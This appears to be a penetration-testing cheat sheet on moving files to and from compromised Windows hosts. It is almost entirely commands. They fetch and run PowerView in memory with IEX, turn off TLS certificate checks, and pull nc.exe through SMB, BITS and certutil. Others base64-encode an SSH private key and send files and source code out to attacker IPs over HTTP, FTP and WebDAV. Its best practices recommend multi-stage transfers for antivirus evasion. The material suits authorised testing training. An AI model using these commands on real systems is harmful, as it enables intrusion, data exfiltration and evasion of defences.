Windows File Transfers

Windows File Transfers

Windows systems provide various native and third-party methods for transferring files across networks. Understanding these transfer techniques is crucial for penetration testers, especially when moving tools to and from compromised systems.

Base64 Transfer Technique

For small files, Base64 encoding provides a method to transfer data without requiring direct file transfer protocols.

Encoding and Decoding Files

# Linux: Encode file
cat id_rsa | base64 -w 0
# Windows: Decode file
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNC..."))

# Windows: Encode file
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

PowerShell Web Transfers

PowerShell offers multiple built-in methods to download files from web servers.

Download Operations

# Using Net.WebClient
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

# Asynchronous download
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

# Using Invoke-WebRequest
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

# With -UseBasicParsing (for IE first-launch configuration issues)
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -UseBasicParsing -OutFile PowerView.ps1

SSL/TLS Errors Bypass

# Bypass certificate validation
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Fileless Execution

# Execute script directly in memory
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Using pipeline
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') | IEX

SMB File Transfers

Server Message Block (SMB) protocol running on TCP/445 is commonly used in Windows environments for file sharing.

Setting Up SMB Server on Linux

# Basic SMB share
sudo impacket-smbserver share -smb2support /tmp/smbshare

# SMB with authentication
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Connecting from Windows

# Copy file directly
copy \\192.168.220.133\share\nc.exe

# Mount with credentials if blocked
net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exe

WebDAV for SMB over HTTP

When direct SMB is blocked, WebDAV provides SMB functionality over HTTP:

# Start WebDAV server
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
# Connect to WebDAV share
dir \\192.168.49.128\DavWWWRoot
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\

FTP File Transfers

File Transfer Protocol (FTP) on TCP ports 20/21 provides another option when SMB is unavailable.

Setting Up FTP Server on Linux

# Install pyftpdlib
sudo pip3 install pyftpdlib

# Start FTP server
sudo python3 -m pyftpdlib --port 21

# Allow uploads
sudo python3 -m pyftpdlib --port 21 --write

PowerShell FTP Download

# Download via WebClient
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Non-Interactive FTP Download

# Create command file for FTP
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Upload Operations

PowerShell Base64 Encoding for Upload

# Encode file content
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

PowerShell Web Upload

# Using Invoke-RestMethod
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

# Base64 Web Upload
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

FTP Upload

# PowerShell FTP upload
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
# Non-interactive FTP upload
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

BITS (Background Intelligent Transfer Service)

BITS is a Windows component designed for efficient file transfers with bandwidth throttling.

# Download using bitsadmin
bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

# Using PowerShell BITS module
Import-Module bitstransfer
Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

CertUtil Downloads

CertUtil, a Windows certificate utility, can be repurposed for file downloads.

# Download a file
certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Common Errors and Mitigations

IE First-Launch Error

# Error message:
# The response content cannot be parsed because the Internet Explorer engine is not available

# Solution:
Invoke-WebRequest https://domain.com/file.txt -UseBasicParsing

SSL/TLS Certificate Error

# Error message:
# Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."

# Solution:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Access Denied Error

# Error message:
# You can't access this shared folder because your organization's security policies block unauthenticated guest access

# Solution: Use authentication
net use n: \\192.168.220.133\share /user:test test

Best Practices

  1. Use HTTPS/SSL when transferring sensitive data

  2. Clean up files after transfer when possible

  3. Consider multi-stage transfers for AV evasion

  4. Validate file integrity using file hashes

  5. Use native tools to avoid introducing new binaries

  6. Test transfers on similar systems before actual use

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